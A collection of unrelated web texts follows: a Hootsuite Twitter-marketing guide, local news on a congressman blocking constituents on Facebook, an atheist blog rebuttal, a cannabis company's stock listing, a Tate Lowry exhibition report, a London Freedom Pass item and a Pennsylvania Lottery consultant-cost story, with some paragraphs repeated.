sources, and more. by content, hashtags, search terms, sources, and more. Edit and add images to your tweets. to your tweets. Manage who you follow (and unfollow) to add valuable new information to your Twitter feed—and remove inactive and spammy followers. (and unfollow) to add valuable new information to your Twitter feed—and remove inactive and spammy followers. Time your posts for maximum impact with tools that analyze both your tweets and your followers’ tweets. With your Twitter toolbox stocked and ready, it’s time to turn your attention to crafting a world-class profile. 2. Build a great Twitter profile A complete, strategically crafted Twitter profile does far more than put a pretty face on your organization’s Twitter account—it can build trust with your audience, improve how your business appears in search results, and give your customers a direct, real-time channel to reach out to you with questions and kudos for your company. Here’s how to do it right: Write a great bio Twitter lets you use a few less characters in your bio than in your tweets (160, compared to 280), but you’ll still want to get maximum impact from every word (and hashtag). Whether you’re writing writing a new bio from scratch or looking to freshen up an existing one, we’ve got a list of world-class Twitter bio ideas to increase your follower count. Image via Hootsuite on Twitter. Complete and optimize your profile A strategically optimized Twitter profile can do far more than just share your name, handle, and description. With a few quick tweaks, you can boost the visual impact of your profile; target a precise physical location or general area; help customers find other Twitter profiles your company manages; and make it easier for people to interact with your brand and start conversations about your products. For all the details, see our video on optimizing your profile settings on Twitter. Get verified When people see that you are verified by Twitter, they know that they can trust your content—and your brand. Learn how to get verified on Twitter and earn that small but highly valuable blue “verified” checkmark next to your account name. Show it off Of course, after investing all this work in crafting a great profile, you’ll want to make sure people actually find it. Add your Twitter handle to your website, email signatures, the side of your delivery truck, and wherever else it makes sense to show it off. 3. Listen and learn If your strategy is focused on using Twitter to broadcast content to your followers, you’re not taking advantage of Twitter’s massive potential as a platform for social listening. As our CEO Ryan Holmes explains, “For businesses that pursue social listening seriously, the benefits can be significant: real-time intelligence on competitors; instant feedback on how your own brand is being perceived; and actionable data for designing or tweaking marketing campaigns.” You need to know what your Twitter community is talking about, whether people are directly mentioning your brand or not. What topics are they interested in? What kinds of content do they respond to? Who do they engage with? These are all important factors to consider when participating in social media listening. Things to listen for include: Your brand’s name (including misspellings) Your brand’s product names (including misspellings) Your competitors (again, including misspellings) Industry buzzwords Brand slogans Your CEO or public representative’s names (and misspellings) Campaign names or keywords Another key reason to listen on social is to find influencers and experts in your field. Nearly 40 percent of Twitter users say they’ve made a purchase as a direct result of a tweet from an influencer, and 49 percent say they rely on influencers when looking for product recommendations. For more information on how to find influencers on Twitter and build valuable relationships with them, take a look at our complete guide to influencer marketing on social media. Our guide to social media listening lists tools you can use: Twitter Advanced Search lets you narrow down your searches, search by negative or positive sentiment, explore relevant hashtags, and much more. For more information, see our guide on how to use Twitter’s Advanced Search for lead generation. Hootsuite makes it easy to set up streams that allow you to not only monitor conversations and keywords, but respond or assign the response to someone else on your team. And with Hootsuite Insights, you can monitor social media networks, news sources, and blogs to stay on top of trends, understand the conversations happening around your brand, and discover which content is resonating with your audience. Social Mention monitors over 100 sources and “allows you to easily track and mention what people are saying about you, your company, a new product, or any topic across the web’s social media landscape in real-time.” TweetReach offers basic listening tools, and helps you monitor tweets about your brand, and industry conversations. Cision Social Edition (formerly ViralHeat) allows you to listen to conversations around your brand across social networks and then “identify trends to drive insights around your social media performance.” 4. Create great content While it’s true that you’ve only got 280 characters to worry about at a time, you should still strive to write tweets that are on brand, easy to read, and likely to resonate with your audience. If you’re looking for help or inspiration, check out our great list of 8 writing resources for non-writers. Here are the basics for writing a great tweet: Help your audience To create content your audience will actually read and use, it helps to never stop learning about their interests, needs, and fears. In addition to reading their tweets and engaging directly with them, you can also use apps like Trendspottr to find and share trending content. We're responding to storms & tornadoes that blew across the Midwest. For shelter info, visit https://t.co/IwTsENcx2z or call 1-800-768-8048. — American Red Cross (@RedCross) April 30, 2017 Keep it short Yes, the limit is 280 characters—but you don’t have to use all those characters every time to create a great tweet. Mix up the length of tweets, and remember to use a URL shortener (like Ow.ly, available in the Hootsuite dashboard) to prevent links from taking up more space than necessary (and make it easier to include UTM parameters without creating clutter). Incorporate content curation You curate content when you sort through the massive amount of content online and share the best of it with your followers in an organized, meaningful way. At Hootsuite, we share the best content we find with our followers using the hashtag #ChoiceContent. For tips on incorporating content curation into your overall strategy, see our guide to using curated content on Twitter. Use hashtags Hashtags ensure that your content is being seen by as many followers as possible. Hashtags enable you to classify content so that your tweets are grouped with other relevant Twitter content. This helps other Twitter users find your content easily, just as it can help you find influencers and others in your industry. The art and science of using hashtags has evolved substantially in the past few years, and if you don’t know what you’re doing, you can wind up using hashtags incorrectly and sounding tone-deaf or worse. Get up to speed with our comprehensive guide on the do’s and don’ts of how to use hashtags. 5. Use multimedia to drive more engagement The popularity—and effectiveness—of multimedia continues its meteoric rise on social media. A survey of Twitter users found that the majority (82 percent) watch video content on Twitter, and that users want to see more videos from celebrities, other users, and brands. Why not offer your followers more of what they’re asking for? Video According to Wyzowl’s State of Video Marketing 2017 report, 79 percent of consumers would rather watch a video to learn about a product than read text on a page—and 84 percent of consumers have been convinced to make a purchase after watching a brand’s video. You might tweet out videos your organization has created, retweet relevant video content your audience would find valuable, or explore ways to share real-time video on Twitter. Images Among all the options for sharing images and photos online, don’t forget to share them on Twitter too. Include relevant images to catch the eye of your community and encourage engagement. If you’re sharing photos of people, you can also tag up to 10 people per image, as described in our post on Twitter best practices. GIFs Ah, GIFs. With users sharing over 100 million GIFS on Twitter in 2016, they can be a great option for adding some relevant fun to your tweets. If some cheeky animated joy is on-brand for your organization, try out Twitter’s integrated GIF search. And for a wealth of ideas, you can check out our GIF guide for social media marketers. 6. Post at the right time Tweets don’t last. According to Wiselytics, a tweet has a half-life of just 24 minutes and reaches 75 percent of its potential engagement in less than three hours. That means you need to tweet at the right time to reach the most potential followers and maximize engagement. Tweet regularly We recommend tweeting at least once a day to attract and engage Twitter followers. Experiment with posting more than that, and then pay attention to how your followers react to find the frequency that works best for you. Start with industry best practices Research has shown that the best posting times are generally 12 p.m., 5 p.m., and 6 p.m. Consider posting at these times in your initial strategy, then flesh out your schedule as you learn more about what times get the best results with your followers. Use analytics to fine-tune your approach Use engagement data from Twitter Analytics to adjust your timing once you’ve gathered some data about how followers are engaging with your tweets. Schedule your tweets Once you know the best times to tweet for optimal engagement, you can use Hootsuite to schedule your tweets, which will save you time and ensure you’re getting the best bang for your buck with each tweet. With Hootsuite, you can schedule your Twitter messages manually or in bulk, and you can even set up Hootsuite to automatically post at optimal times. For more information on exactly how to do this, see our post on scheduling posts through Hootsuite. And if you’re looking for templates for bulk uploads, we’ve got those too. 7. Engage with your audience It’s easy for marketers to get obsessed with the number of followers we collect on Twitter. But without engagement, your follower number is just that—a number. From the start, Twitter has been designed to help people connect and engage on a personal level. Use that strength to your advantage and engage daily with your audience. Follow your network— Your followers’ tweets can provide a wealth of information about their interests, needs, preferences, and so on. Follow and learn from them. Your followers’ tweets can provide a wealth of information about their interests, needs, preferences, and so on. Follow and learn from them. Respond quickly— According to one social media research study, 42 percent of consumers expect a 60-minute response time on social media. Respond quickly and naturally to customers, as you would in person or over the phone. According to one social media research study, 42 percent of consumers expect a 60-minute response time on social media. Respond quickly and naturally to customers, as you would in person or over the phone. Retweet, like, and follow— It feels good when people take a moment to retweet and like your tweets or follow you on Twitter. Return the favor and keep your followers happy. It feels good when people take a moment to retweet and like your tweets or follow you on Twitter. Return the favor and keep your followers happy. Use @mentions and tag people— When you mention followers, influencers, or other brands in a tweet, including an @mention is a nice way to drive a little traffic their way. You can also tag people in photos when it’s appropriate to do so, as covered in our post on Twitter best practices. When you mention followers, influencers, or other brands in a tweet, including an @mention is a nice way to drive a little traffic their way. You can also tag people in photos when it’s appropriate to do so, as covered in our post on Twitter best practices. Ask for a little help— It’s okay to occasionally ask followers to retweet, mention, or like your tweets. It’s okay to occasionally ask followers to retweet, mention, or like your tweets. Get interactive—Tweet a question and see how your followers respond, or run a Twitter Poll for customer service feedback, quick product or service opinions, and direct social listening opportunities. We're at #CES2016 & letting you choose what we cover. Vote now and watch our Periscope tomorrow! — Amazon.com (@amazon) January 7, 2016 Keep listening for opportunities and pain points. If you’re looking for a little inspiration on how to kick-start engagement with your Twitter followers, try our 5-day plan for increasing your Twitter engagement. 8. Monitor your business and brand You’ve seen the news about companies mishandling PR disasters on social—but whether you’re monitoring social networks to mitigate major risk or just to keep an eye on overall sentiment about your brand, it’s vital to know what people are saying and sharing on Twitter. Follow your competitors— This one’s easy. Find your competitors on Twitter and follow them to know what they’re sharing—and what people are saying about them. This one’s easy. Find your competitors on Twitter and follow them to know what they’re sharing—and what people are saying about them. Get organized to listen more effectively— Twitter lists can be a great way to organize the people you follow on Twitter. If you use Hootsuite, you can easily set up streams to listen to your competitors right from your dashboard. Twitter lists can be a great way to organize the people you follow on Twitter. If you use Hootsuite, you can easily set up streams to listen to your competitors right from your dashboard. Monitor your brand/company keywords— Twitter Analytics and other tools make it easy to do this. For a more comprehensive approach, you can Hootsuite Insights to monitor social media networks, news sources, and blogs to make sure you stay on top of trending content that matters to you. Twitter Analytics and other tools make it easy to do this. For a more comprehensive approach, you can Hootsuite Insights to monitor social media networks, news sources, and blogs to make sure you stay on top of trending content that matters to you. Have a crisis communications plan—As our CEO Ryan Holmes pointed out in a LinkedIn post on “tone-deaf” brands, companies that haven’t embraced the concept of social listening risk opening themselves up to full-blown PR disasters on social. Learn from their cautionary tales and put a plan in place for crisis communications—and then hope you never need to use it. 9. Measure results Measuring your Twitter marketing results allows you to evaluate your success, see what kind of content your community engages with, and shows you opportunities for areas to further refine your Twitter strategy. Here are a few ways to get the data you need: Use Twitter Analytics Twitter Analytics gives you an overview of how your tweets are performing, who is engaging and when, influencers in your network, and metrics for individual tweets. You can track your followers’ activity over time, their interests, demographics, and (if you’re running a Twitter Ads campaign) ad performance. Image via Twitter. Use analytics tools from Hootsuite Hootsuite’s analytics tools feature real-time dashboards to help you monitor performance, spot trends, and track engagement across channels. You can tag tweets connected to campaigns or events, then track, analyze, and report on their performance. Bonus: Download the free strategy guide that reveals how Hootsuite grew our Twitter following to over 8 million users and learn how you can put the tactics to work for your business. 10. Elevate your strategy with advanced tactics Now that you’ve mastered the basics, why not try a few more advanced tactics? Advertise on Twitter As great as your social media strategy may be, there are times when it makes sense to supplement your organic efforts with paid advertising to achieve your objectives on Twitter. Depending on the specific goal you’re working toward, you can promote your individual tweets, your account, or even a trend you’d like to amplify and associate with your business. When you’re ready to get started, check out our complete guide to Twitter Ads. Host a Twitter chat Hosting a Twitter chat is a great way to show thought leadership in your field while building advocacy, loyalty, and community. Using a shared hashtag, users meet online to catch up on industry news, discuss issues, and share ideas. To learn more, see our step-by-step guide on how to run a Twitter chat. Here at Hootsuite, we engage with our community through #HootChat, our weekly Twitter chat. We collaborate with influencers in the industry and encourage questions and discussion with our Twitter community. Q3. What are some tips to writing engaging captions? #HootChat pic.twitter.com/lA7BfrC1G4 — Hootsuite (@hootsuite) May 18, 2017 Broadcast live video Brands have been sharing live video on Twitter for some time now, and companies like AirBNB are even experimenting with 360° livestreaming channels. Given the exploding popularity of video on social media, adding live video to your Twitter strategy is definitely a promising area to explore. Experiment with Twitter Moments Twitter launched Moments in 2015 as a curated list of the day’s big tweets. In 2016, they opened the tool to everyone on mobile, and marketers have been using it to round up recipes, collaborate with influencers, and even create fan recaps for TV series. From serious to silly, Twitter Moments offer new ways to put Twitter to work for your business. Offer social customer service With 67 percent of customers in the U.S. turning to social media for customer service, there’s a very good chance your customers expect to be able to do the same. Whether you use your primary Twitter account or a devoted one for support will depend on the size of your organization and the type of support you offer. You could do worse than to follow the example of our favorite brands leading the way in social customer support. So sorry, Lia. Mind sending us a DM with your contact info and the ingredients you need? Thank you! — Whole Foods Market (@WholeFoods) May 17, 2017 With rich opportunities for researching your market, engaging with followers, and building your brand, Twitter has come a long way since its 2006 debut as a simple platform for answering the question “What are you doing?” in 140 characters. It’s a powerful platform for building meaningful relationships that will drive the success of your organization—one follower at a time. Use Hootsuite to execute your Twitter marketing plan alongside all your other social media activity. From a single dashboard you can monitor conversations, grow your followers, schedule tweets, and much more. Try it free today. Get Started -VIRGINIA BEACH — Like most political discourse in recent months, Rep. Scott Taylor and his constituents have embraced the digital sphere to foster conversation. Those who don’t live within a short distance of his two offices can use his Facebook page to stay informed. On Jan. 30, Taylor held his first Facebook Live town hall from Washington D.C., giving his nearly 55,000 Facebook followers a chance to listen and ask questions in real time. “It’s a very effective way of communicating with a lot of people at one time, for no cost, essentially,” Taylor said. But some constituents say they have been blocked from communicating with Taylor via Facebook. Lulani Mae, of Virginia Beach, said she voted for Taylor in the Nov. 8 election because she thought his military background would lend to his ability to successfully represent Virginia’s 2nd district. At the Feb. 20 Kempsville town hall, Mae, who is affiliated with the local Together We Will group, told Taylor she’s been blocked from posting or participating in conversations on his Facebook page. “I’m no longer allowed to post on your Facebook page,” Mae told Taylor at the town hall, “and it’s very disappointing.” After Taylor suggested that Mae had been blocked by staff members for inappropriate behavior, she said her only recent comment was when she expressed disappointment with his representation of the district. “He told me he was sorry and that he would unblock me, but that hasn’t happened yet,” Mae said in an interview with Southside Daily. Mae isn’t the only constituent to make such a claim. Three more congressional district 2 residents allege the same treatment by Taylor and his staff. Mary Meade Holtz, a Hampton resident and president of the Virginia Peninsula National Organization for Women, said that she was also blocked from posting or commenting on Taylor’s Facebook page. After Taylor posted a photo on his Facebook profile in which he was posing with President Donald Trump, she commented and asked him what he planned to do about attacks on sanctuary cities within his district. The next time Holtz went back to the social media page, she found herself in the same situation Mae had. She could no longer speak to her congressman via Facebook. “I called his office in D.C. and asked about it,” Holtz said. “They took my email and name and said they would get back to me but I haven’t heard anything yet.” Holtz said she tried to make a post from her own page to ask about why she had prevented from speaking on his page. She tagged the congressman in her post, trying to determine if there was an alternative form of communication with him about it. Her post went unanswered. Williamsburg resident Sheila Ann Glennon told Taylor at a Yorktown town hall that she is frustrated she cannot participate in legislature-related surveys or queries posted by his staff, especially in light of Taylor’s stance that it’s important for constituents to use social media to share their policy opinions. Like other constituents, Glennon is unable to comment or post. Glennon said she was blocked from the page after posting a comment that called the travel ban “religious discrimination.” She said that while she doesn’t believe her first amendment rights have been violated, she thinks that being barred from participating is contradictory behavior. “He himself said at that town hall that he uses Facebook to gauge his constituents’ reactions to policies,” Glennon said. “If comments are being deleted and people are being prevented from commenting, how is he serving all of his constituents?” Glennon said, as a backup plan, she bought a stack of postcards. Every time she wants her voice to be heard on an issue, she slips another card in the mail to Taylor’s office. “I know that at least those will get through,” Glennon said. “I pay my taxes. I do have a right to be represented.” Anne Tucker founded the political action group Indivisible 757. She lives in Virginia Beach and recently visited Taylor’s local office with a friend who uses a wheelchair. Tucker said that when the pair arrived at the office, there wasn’t a push button on the door to assist handicapped visitors. Concerned, she asked Taylor’s staff if they would consider adding the feature or asking the building’s owner to do so. “I wasn’t sure they understood what I was asking so I tried to send Taylor a message on Facebook,” Tucker said, adding that she wasn’t able to because she’d been blocked. Like Glennon, Tucker said she is frustrated because she also heard Taylor tell town hall attendees that he uses social media to monitor his constituents’ comments. “If you are censoring the public voice of the people who you are representing, then you’re not able to truly have an informed view,” Tucker said. But Taylor says he’s not censoring his constituents on Facebook. Taylor said that members of his staff have the authority to block users from his Facebook page if their behavior is “out of line.” He added that the groups Tucker and Holtz belong to are organized to “disrupt things.” “There are some people who get on there and all they’re doing is just attacking and all that stuff,” Taylor said. “Whether you do or don’t agree with it, they’re not censored.” Each of the women said they never used profanity or attacked other commenters. Each said they used the Facebook page to make their stances known to Taylor. “I never said anything nasty or name-called or anything of that nature,” Holtz said. “I don’t know if a carefully crafted response is just more threatening than name-calling.” Last month, the Maryland branch of the American Civil Liberties Union responded to similar accusations against Maryland Governor Larry Hogan. Seeing the action against Hogan, Tucker said she decided to follow suit. “I contacted the Virginia ACLU and let them know what was going on,” Tucker said. “If you can’t take it when someone disagrees with you, then you should stop using Facebook in an official capacity.” Poulter can be reached at amy@localvoicemedia.com -Vasko Kohlmayer is at it again. It was not too long ago that he wrote an article in the Washington Post claiming that there is no such thing as an Atheist. Well here we go again, another silly Washington Post article from Mr Kohlmayer. Apparently he has now decided, in stark contrast to his previous article, that Atheists do actually exist, and are simply illogical. So how does he establish this? Well, he starts out like this … …let us turn to the Secular Web (formerly Internet Infidels) which is the most widely frequented atheist website on the internet. He then proceeds to pick one … count them … one single argument from a long list and proceeds to demolish it. Incidentally, it took me some time to actually find what he was attacking, I’ll not bore you with the details, but if truly curious, it comes from Number 7 on this page. There are two of immediate key points. 1) I personally don’t gave a toss about proofs that God does not exist, and many others hold a similar view. It is not our problem to worry about disproving nonsense. Instead the burden of proof rests with the believers to present some credible objective evidence … so far that has been exactly zero. 2) Mr Kohlmayer is guilty of quote mining. He has plucked the argument away from the surrounding text and then proceeds to demolish it in isolation and so implies the author was being incoherent. What he fails to tell you is that the author expresses some concern regarding this specific argument, but nevertheless includes it for completeness. For example the author writes … “not all nontheists would accept…” … and also explains … “All such arguments, though, would lead into the same sort of difficult and controversial issues as does the Nonphysical-vs.-Personal Argument, and so should not be regarded to be among the most forceful of the various atheological arguments available” The fact that Mr Kohlmayer is prepared to quote-mine and so craft a strawman is no surprise, it’s the sort of dishonesty and lack of integrity we have come to expect from believers, nope no surprise there at all. But he does not stop with that, he then goes on to claim that this is part of an atheist worldview because it comes from a popular web-site, and of course every breathing atheist considers every word on this website to be the absolute truth, especially when quote-mined and taken out of context … yea right. OK, lets pause for a moment, what the heck is an atheist worldview? He keeps using that term, but I honestly have no idea what that actually means. Atheism is not a worldview, instead it is a conclusion ..no evidence has been presented to verify the claim that there is a god, so we simply reject the assertions regarding god. In other words, it’s the null hypothesis, that’s it, nothing more. It’s not a belief, it’s not a religion, it says nothing about how you should live, it says nothing about what is right and wrong … it is just the rejection of silly claims about supernatural gods due to zero evidence (So how many times need I repeat it before they get it? … many more I suspect). In the end what am I to conclude? Well Mr Kohlmayer is well qualified, he has earned degrees in philosophy and literature, and has written for a number of newspapers, so what we learn is that being smart does not in any way prevent you from being either irrational or a complete kook, instead you simply think up really smart ways to justify nonsense. Links Share this: Facebook Twitter Reddit Tumblr Pinterest LinkedIn Pocket Skype WhatsApp Email Print Like this: Like Loading... -Thank you for supporting the journalism that our community needs! For unlimited access to the best local, national, and international news and much more, try an All Access Digital subscription: We hope you have enjoyed your trial! To continue reading, we recommend our Read Now Pay Later membership. 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Standard All Access Digital rate of $16.99/month begins after first year. *Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year. Thank you for supporting the journalism that our community needs! For unlimited access to the best local, national, and international news and much more, try an All Access Digital subscription: We hope you have enjoyed your trial! To continue reading, we recommend our Read Now Pay Later membership. Simply add a form of payment and pay only 27¢ per article. Thank you for supporting the journalism that our community needs! For unlimited access to the best local, national, and international news and much more, try an All Access Digital subscription: We hope you have enjoyed your trial! To continue reading, we recommend our Read Now Pay Later membership. Simply add a form of payment and pay only 27¢ per article. “Ultimately our goal is to raise between 25 and 30 million dollars in additional capital, through a mix of debt and equity, over the next number of months,” John Arbuthnot said on Monday. Delta 9 will issue eight million new shares at $0.65 per share to raise as much as $5.2 million, and is seeking more capital to finance future expansion plans. Twenty-seven-year-old Arbuthnot, who co-founded Delta 9 Bio-Tech with his father Bill Arbuthnot, will become CEO of the publicly-traded company, which will be renamed Delta 9 Cannabis. Bill Arbuthnot will be president and chairman of the board. Delta 9 Bio-Tech, one of only two Manitoba firms licensed by the federal government to produce cannabis for medical users, could make its debut on the TSX Venture Exchange as soon as today. The listing has received conditional approval from the exchange, said Delta 9 co-founder John Arbuthnot, who is confident his firm will be listed by the end of the week. Hey there, time traveller! This article was published 30/10/2017 (483 days ago), so information in it may no longer be current. Hey there, time traveller! This article was published 30/10/2017 (483 days ago), so information in it may no longer be current. Delta 9 Bio-Tech, one of only two Manitoba firms licensed by the federal government to produce cannabis for medical users, could make its debut on the TSX Venture Exchange as soon as today. The listing has received conditional approval from the exchange, said Delta 9 co-founder John Arbuthnot, who is confident his firm will be listed by the end of the week. Twenty-seven-year-old Arbuthnot, who co-founded Delta 9 Bio-Tech with his father Bill Arbuthnot, will become CEO of the publicly-traded company, which will be renamed Delta 9 Cannabis. Bill Arbuthnot will be president and chairman of the board. Delta 9 will issue eight million new shares at $0.65 per share to raise as much as $5.2 million, and is seeking more capital to finance future expansion plans. "Ultimately our goal is to raise between 25 and 30 million dollars in additional capital, through a mix of debt and equity, over the next number of months," John Arbuthnot said on Monday. "And all of that will be deployed over the next few years in our Winnipeg-based production, distribution, and hopefully ultimately retail operation." Arbuthnot said he and his father will be the controlling shareholders of the publicly-traded firm, holding between 55 and 60 per cent of the shares. The deal is being underwritten by investment bank Canaccord Genuity. Currently, 68 companies are licensed by Health Canada to produce cannabis for medical users. Delta 9 was among the first crop of companies to receive a production licence from Health Canada, in 2014. The company employs about 55 people, primarily at its production facility in Winnipeg. More than 2,000 clients are registered to purchase mail-order cannabis from Delta 9, Arbuthnot said. As of June 30, there were 201,398 medical cannabis clients registered with Health Canada, including 3,598 in Manitoba. Some clients are registered to purchase from more than one licensed producer, and registered clients may sign up with any licensed producer in any province. Registering with Health Canada and signing up to purchase cannabis from licensed producers requires a recipient to get a medical document from a physician. In cities across Canada, a number of specialized medical clinics have sprouted up to connect potential medical cannabis users with physicians who may be willing to recommend cannabis. Delta 9 has launched its own such clinic in Winnipeg, the Delta 9 Lifestyle Cannabis Clinic at 478 River Ave. Delta 9’s production licence from Health Canada allows it to devote up to 80,000 square feet of space to growing cannabis, said Arbuthnot. Right now, the company is using roughly 14,000 square feet, leaving plenty of room to grow before additional licensing is required. Delta 9 cultivates its pungent crop in 28 specially-modified shipping containers inside its Winnipeg facility. The expected influx of capital from the public offering will allow Delta 9 to add between 40 and 60 new shipping container grow rooms, Arbuthnot said. "What comes with that expansion is more jobs being created in the community here in Manitoba, increased production capacity allowing us to continue to bring on more and more registered patients both here in Manitoba and outside, and hopefully also the first steps in really positioning ourselves towards taking a hard look at the recreational market for next year." Federal legalization of cannabis for recreational use is expected by July 1, 2018. Under the federal government’s proposed Cannabis Act, which is not yet law, only licensed producers such as Delta 9 will be able to supply cannabis to the legal market. Want to get a head start on your day? Get the day’s breaking stories, weather forecast, and more sent straight to your inbox every morning. By 2020, Arbuthnot said, Delta 9 plans to use its new capital to increase production drastically — from about 1,000 kilograms a year to 17,000 kilos a year. Like other players in Canada’s legal cannabis industry, Delta 9 is not yet profitable. "I think most investors who are looking in the space right now are looking past the short-term financial performance towards some other metrics that are very important for the space," Arbuthnot said, citing his company’s as-yet-unused licensed production capacity as a potential selling point. "We would encourage investors to look forward at things like capacity, as well as to look at some of the other points of our operations, including that we are one of Health Canada’s oldest licensed producers," he said. "And with that comes several years, now, of actual cultivation, processing, distribution, and sale experience." After being listed on the TSX Venture Exchange, Delta 9 Cannabis will trade under the stock symbol "NINE". solomon.israel@freepress.mb.ca @sol_israel -Media playback is unsupported on your device Media caption David Sillito explores how Lowry was influenced by his surroundings The works of LS Lowry will continue to divide opinion within the art establishment, predicts the co-curator of a major new Tate exhibition. "He became a football in a certain kind of culture wars - and I think that will go on being the case," said Professor Tim Clark. Lowry and the Painting of Modern Life opens at Tate Britain on Wednesday. The show is the first to be held by a public institution in London since Lowry's death in 1976. Born in 1887, Lowry is best known for his paintings of the industrial landscapes of the north of England. Many works depict the factories and terraced houses - and their working class inhabitants - around Salford and Pendlebury where Lowry lived and worked. "He is not an artist who fits into the Home Counties, Eton and Oxbridge view of England and Englishness," said Professor Clark, speaking at a preview of the Tate show on Monday. Image caption Two of Lowry's Industrial Landscape paintings from the 1950s on display at Tate Britain "He is not a subscriber to the cult of the countryside, country manors or the ambiguity or fatality of Empire. His subject is industry and the form of life that it made. "It puts him outside things - it makes him very hard for the actual cultural elite of England to take seriously." The exhibition, co-curated by art historians Clark and Anne Wagner of the University of California, features more than 90 works - including loans from public and private lenders. Highlights include Ancoats Hospital Outpatients Hall (1952), painted in the early years of the NHS, and The Cripples (1949), which shows people disabled by war and illness. The paintings include the Tate's own Coming Out of School (1927), The Pond (1950), Industrial Landscape (1955) and Hillside in Wales (1962). LS Lowry 1887-1976 LS Lowry is known for his paintings of the industrial landscapes of the north of England. Lowry was born in Stretford, Manchester on 1 November, 1887 to middle class parents. On leaving school in 1904, he began work in Manchester as a clerk with a firm of chartered accountants, studying painting and drawing in the evenings. In 1910 he became a rent collector and clerk with the Pall Mall Property Company in Manchester; he remained a full-time employee and eventually chief cashier until his retirement in 1952. He drew inspiration from his surroundings, particularly Pendlebury, near Manchester, where he lived from 1909 to 1948. From 1948 until his death he lived in the same small, unmodernised house in Cheshire. Lowry died on 23 February 1976, aged 88, at Woods Hospital, Glossop, following an attack of pneumonia. In September 1976, the largest exhibition of Lowry's work to date took place at the Royal Academy. Your Paintings - LS Lowry The Lowry exhibition comes after critics from the art world called on Tate to show its collection of paintings or put them up for sale. Some had questioned whether the gallery on London's Millbank had purposely not shown the Manchester artist's work because he was "too northern". Speaking on Monday, Tate Britain director Penelope Curtis said the Lowry exhibition was for "believers and also for cynics". "What we'd like to think is this show will delight people who love Lowry, but also open the eyes to those who thought that Lowry was not part of mainstream painting," she said. The exhibition also explores Lowry's connections with French art and shows his work alongside French-themed paintings of Vincent van Gogh and Camille Pissarro. The French impressionist, Adolphe Valette, taught Lowry in Manchester for many years. Lowry's works online Watch a slideshow of L.S. Lowry's works, and discover more about this intriguing artist at BBC Your Paintings "The myth says Lowry's an isolated weirdo completely off on his own," said Professor Clark. "Actually he very early on decided he was more likely to get sympathetic attention in Paris than in London." He added: "Lowry's a very English artist indeed, but in order to have the confidence to take on the industrial scene he built on his understanding of the French painting of modern life." Hidden painting The Tate revealed on Monday that a little-known painting on the back of another work at the exhibition shed new light on the way Lowry would revisit and refine his favourite scenes over the years. The unnamed painting on the wooden panel behind The Mission Room (1937) is an earlier version of two works featured in the exhibition: Our Town (1941) and A Town Square (1928). "What this tells us is that Lowry was perfecting and developing his compositions with great care," Professor Wagner told the BBC. "He is possessed with certain compositions throughout the years - he can't get them out of his mind. It's not that he had a paucity of invention, but that these are the works he wants to depict." Image caption The Pond (left) is one of Lowry's large urban panoramas on display The final room of the exhibition brings together, for the first time, seven large-scale panoramas of northern industrial landscapes and the Welsh mining valleys. "They represent a step up in style and a move forward to a deliberate effort to lay hold of this stage industrial society as it was passing away," said Professor Clark. "The paintings do have a valedictory, memorialising tone, though I don't think they are relentlessly glum and gloomy," he added. Lowry and the Painting of Modern Life is at Tate Britain from 26 June - 20 October. -Published: Monday 1 October 2012 Tags: Boroughs agree to fund Freedom Pass for over 60s FREE travel on London's buses, Tubes and Overground services is to be brought back for the over 60s, despite the government trying to push up the age at which the Freedom Pass kicks in. The new 60 starting age for the 24-hour pass begins on 1 November and is expected to benefit an extra 10,000 people a month. It costs £10 to join the scheme. For the last two years, the starting age for the Freedom Pass has been 61, a side-effect of the official plan to raise the retirement age to 68 instead of the 60 for women and 65 for men it is at the moment. But London's boroughs have now clubbed together and agreed to stump up the £320 million it takes to bring the qualification age down to 60 once again. "From November, hundreds of thousands of people will be armed with their 60+ London Oyster card, enjoying all our great city can offer," said London Mayor Boris Johnson -Senior citizens may stand to pay a substantial cost in lost services if Gov. Tom Corbett’s effort to privatize the Pennsylvania Lottery’s management goes nowhere. Already, the costs of the consultants hired to assist the Corbett administration in that endeavor exceed $2.85 million, said Elizabeth Brassell, a spokeswoman for the Department of Revenue, which oversees the lottery. Unless another funding source is found, that money will come out of the lottery profits that are used to pay for senior programs, she said. To understand the impact that would have if it came out of the lottery fund, information available from the state indicates that $2.85 million is enough to: Assist seniors in paying for 137,681 prescriptions through the PACE and PACENET programs, Pay for 1.1 million free transit rides for seniors, Provide 6,055 rebates through the state’s property tax and rent rebate programs, or Cover 576 months of nursing home care, the equivalent of paying the tab for 48 people to stay in a nursing home for a year. Brassell said the consultants’ tabs could grow even higher as the administration continues to explore ways to salvage the contract with United Kingdom-based Camelot Global Services PA, LLC, that Attorney General Kathleen Kane rejected in February. Kane said the contract was unconstitutional and ran counter to state laws. But that didn’t deter Corbett. Instead, he ordered his team to negotiate an extension on Camelot’s bid through June 30 and try to revise the contract to address Kane’s concerns without having to rebid the project. The administration has touted the lottery management privatization as a way to generate $3 billion more for lottery-funded programs for a growing senior population over the next 20 years than the current public management would raise. By 2030, one in 4 people will be over the age of 65, according to Department of Aging. If a contract with Camelot were executed, the private lottery manager would pick up the consultants’ fees. Brassell said that possibility should not be ruled out just yet. But as it stands now, the commonwealth would be stuck paying the tab. Senate Democratic Leader Jay Costa, D-Allegheny, is concerned about the rising costs that will grow the longer the Corbett administration spends trying to address the attorney general’s concerns. “This is throwing good money after bad at the expense of our seniors,” Costa said. “We’d be better served as a commonwealth by pulling the plug on this and driving those resources back into programs for seniors.” But Brassell said even if a contract is not executed with Camelot, “the payments to consultants would be justified by the insight the commonwealth gained through the process.” She said all three of the firms that had expressed interest in the management contract proposed Keno as an opportunity to boost lottery sales and maximize profits. “That industry unanimity and expertise is what ultimately led the administration to decide to pursue Keno,” Brassell said. “Once it's determined how best to approach Keno, that aspect alone stands to contribute about $200 million to lottery profits annually, once fully implemented.” She said a number of other lessons have been learned from marketing and product mix to expanding the player base from the money spent on this pursuit that will benefit the lottery whether it moves forward under public or private management. House Republican spokesman Steve Miskin said the administration’s ultimate goal was to grow lottery profits to support services for an increasing senior population. “If you keep the status quo as Democrats are advocating, money is going to run out very soon,” Miskin said. To date, neither legal consultant DLA Piper of Baltimore, Md., nor financial consultant Greenhill & Co. of Chicago have been paid, Brassell said. But their meters are running. For work performed through mid-March, she said DLA Piper’s costs are in the neighborhood of $2 million. And the firm continues to advise the commonwealth through the contract revision, Brassell said. “We won’t know exactly what will be paid to them until their work on the project is complete,” she said. “We can’t say at this point exactly how much they are owed or will be paid.” 